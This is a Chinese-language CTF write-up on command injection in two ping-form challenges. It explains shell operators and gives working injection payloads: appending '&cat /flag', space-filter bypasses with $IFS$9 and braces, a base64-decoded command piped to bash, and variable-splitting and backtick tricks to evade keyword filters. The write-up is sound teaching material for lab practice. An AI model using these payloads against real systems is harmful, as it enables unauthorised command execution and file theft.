命令注入专题
0x01 [ACTF2020 新生赛]Exec 1(命令注入)
对于a & b,既执行a的命令也执行b的命令,将任务置于后台执行;
对于a && b,在a执行成功的情况下执行b,a执行失败就不会执行b,和逻辑与一样;
对于a | b,“|”为管道符,它将a执行的结果作为b的输入,因此无论a执行结果如何,都会执行b;
对于a || b,在a执行失败的情况下执行b,a执行成功则不会执行b,和逻辑或一样;
对于a;b,在Linux系统下会将a和b都执行,前面的执行完执行后面的;
这里是commend命令注入,在xss中有提到,这里实战还是记录一下过程:
1、先ping本地地址127.0.0.1,发现能成功
2、然后直接查目录:127.0.0.1&ls,出现了index.php,访问一下把原页面刷新了一下没有东西
3、尝试linux系统,127.0.0.1&ls /,出现了许多文件看到了flag文件,在pwn里就是直接cat flag就好了但是……
4、在kali中相当于还没访问root总文件夹,需要127.0.0.1&cat /flag就成了
补充:
参考链接
0x02 [GXYCTF2019]Ping Ping Ping 1(命令注入)
发现一个规律,这些题目都挺喜欢把flag放在php文件里并注释掉,这样就可以不让flag输出在网页上,而我们通常的思路都是要读源码就能找到这玩意,并且题目给的任何提示都是有用的比如这边的?ip=就是叫我们用这个当做变量上传参数,以及后来的绕过啊什么的都有提示,并且这里又是linux的操作系统
绕过空格的方法:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
还涉及到一些知识比如这里的base64绕过命令:?ip=127.0.0.1;echo$IFS$1"Y2F0IGZsYWcucGhw"|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash
给出文章解释
还有这题大多数的解法变量绕过:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
并且还有不出现flag的方法绕过:?ip=127.0.0.1;cat$IFS$9ls
使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.php 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了) 这个ls是有带反引号的因为Markdown语法被识别成了代码
解题参考1
解题参考2
感谢老师傅的解答